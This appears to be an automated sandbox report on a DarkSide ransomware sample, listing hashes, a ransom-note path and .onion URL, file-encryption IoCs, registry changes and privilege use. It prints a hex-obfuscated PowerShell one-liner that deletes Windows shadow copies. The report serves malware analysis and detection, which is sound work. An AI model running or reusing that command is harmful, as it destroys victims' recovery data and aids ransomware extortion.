Analysis
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max time kernel
127s -
max time network
173s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
31-01-2022 05:58
Static task
static1
Behavioral task
behavioral1
Sample
bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe
Resource
win10-en-20211208
General
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Target
bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe
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Size
59KB
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MD5
c2764be55336f83a59aa0f63a0b36732
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SHA1
0bfc26e7a035a143339516b877ac11eefbbeefb5
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SHA256
bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0
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SHA512
9c413793996c48c4c9e092e8c09810712c84dc64288515b64acc7108671071283e8dc4b3d782befd9cbf04bd0db0fb61c8986b429eec5b748722910455d399fa
Malware Config
Extracted
C:\\README.82ee2099.TXT
darkside
http://darksidfqzcuhtk2.onion/FNKSGXL6YM3ZOHUB9WRBMPZDFXUG0DSF5M61SMYGU4V8R8OOJ6AKQ2VF4BGHSE1O
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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suricata: ET MALWARE Observed DarkSide Ransomware CnC Domain in TLS SNI
suricata: ET MALWARE Observed DarkSide Ransomware CnC Domain in TLS SNI
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Modifies extensions of user files 14 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exedescription ioc process File opened for modification C:\Users\Admin\Pictures\ConvertFromInitialize.raw.82ee2099 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe File renamed C:\Users\Admin\Pictures\ConvertFromInitialize.raw => C:\Users\Admin\Pictures\ConvertFromInitialize.raw.82ee2099 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe File renamed C:\Users\Admin\Pictures\HideSwitch.raw => C:\Users\Admin\Pictures\HideSwitch.raw.82ee2099 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe File opened for modification C:\Users\Admin\Pictures\JoinResolve.tiff.82ee2099 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe File renamed C:\Users\Admin\Pictures\LimitConvert.crw => C:\Users\Admin\Pictures\LimitConvert.crw.82ee2099 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe File renamed C:\Users\Admin\Pictures\CompressUnblock.crw => C:\Users\Admin\Pictures\CompressUnblock.crw.82ee2099 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe File opened for modification C:\Users\Admin\Pictures\CompressUnblock.crw.82ee2099 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe File opened for modification C:\Users\Admin\Pictures\JoinResolve.tiff bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe File opened for modification C:\Users\Admin\Pictures\LimitConvert.crw.82ee2099 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe File renamed C:\Users\Admin\Pictures\MountBlock.tiff => C:\Users\Admin\Pictures\MountBlock.tiff.82ee2099 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe File opened for modification C:\Users\Admin\Pictures\HideSwitch.raw.82ee2099 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe File renamed C:\Users\Admin\Pictures\JoinResolve.tiff => C:\Users\Admin\Pictures\JoinResolve.tiff.82ee2099 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe File opened for modification C:\Users\Admin\Pictures\MountBlock.tiff bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe File opened for modification C:\Users\Admin\Pictures\MountBlock.tiff.82ee2099 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Sets desktop wallpaper using registry 2 TTPs 2 IoCs
Processes:
bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\82ee2099.BMP" bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Set value (str) \REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\82ee2099.BMP" bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
Processes:
bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exepid process 3616 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe -
Modifies Control Panel 1 IoCs
Processes:
bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Control Panel\Desktop\WallpaperStyle = "10" bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe -
Modifies registry class 5 IoCs
Processes:
bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\82ee2099\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\82ee2099.ico" bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.82ee2099 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.82ee2099\ = "82ee2099" bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\82ee2099\DefaultIcon bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\82ee2099 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe -
Suspicious behavior: EnumeratesProcesses 7 IoCs
Processes:
bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exepowershell.exepid process 3616 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe 3616 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe 4336 powershell.exe 4336 powershell.exe 4336 powershell.exe 3616 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe 3616 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe -
Suspicious use of AdjustPrivilegeToken 25 IoCs
Processes:
bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exepowershell.exevssvc.exedescription pid process Token: SeIncreaseQuotaPrivilege 3616 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: SeSecurityPrivilege 3616 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: SeTakeOwnershipPrivilege 3616 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: SeLoadDriverPrivilege 3616 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: SeSystemProfilePrivilege 3616 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: SeSystemtimePrivilege 3616 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: SeProfSingleProcessPrivilege 3616 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: SeIncBasePriorityPrivilege 3616 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: SeCreatePagefilePrivilege 3616 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: SeBackupPrivilege 3616 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: SeRestorePrivilege 3616 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: SeShutdownPrivilege 3616 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: SeDebugPrivilege 3616 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: SeSystemEnvironmentPrivilege 3616 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: SeRemoteShutdownPrivilege 3616 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: SeUndockPrivilege 3616 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: SeManageVolumePrivilege 3616 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: 33 3616 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: 34 3616 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: 35 3616 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: 36 3616 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: SeDebugPrivilege 4336 powershell.exe Token: SeBackupPrivilege 888 vssvc.exe Token: SeRestorePrivilege 888 vssvc.exe Token: SeAuditPrivilege 888 vssvc.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exedescription pid process target process PID 3616 wrote to memory of 4336 3616 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe powershell.exe PID 3616 wrote to memory of 4336 3616 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe"C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe"1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logMD5
ea6243fdb2bfcca2211884b0a21a0afc
SHA12eee5232ca6acc33c3e7de03900e890f4adf0f2f
SHA2565bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8
SHA512189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveMD5
6e32164840ac89822a01711d2c73748b
SHA1eb7393011b8eed5da1894417101a70d4f21810aa
SHA256eeddc339fee94d3d5f05f411118f2596eb4f3ea1aaa285c729651cb6322e6bb3
SHA5120ff6acc0a0fa5dd95871b80139715cd5fd9f48b13e84719de46847f38599c5568f1501b4b0ec15de01c7d07840bb4aece8c6f8cd22cefad7d551e976138ae432
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memory/4336-121-0x0000022B4FB00000-0x0000022B4FB22000-memory.dmpFilesize
136KB
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memory/4336-126-0x0000022B69CC0000-0x0000022B69D36000-memory.dmpFilesize
472KB
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memory/4336-127-0x0000022B4DBF0000-0x0000022B4DCF0000-memory.dmpFilesize
1024KB
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memory/4336-128-0x0000022B4DBF0000-0x0000022B4DCF0000-memory.dmpFilesize
1024KB
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memory/4336-140-0x0000022B4DBF0000-0x0000022B4DCF0000-memory.dmpFilesize
1024KB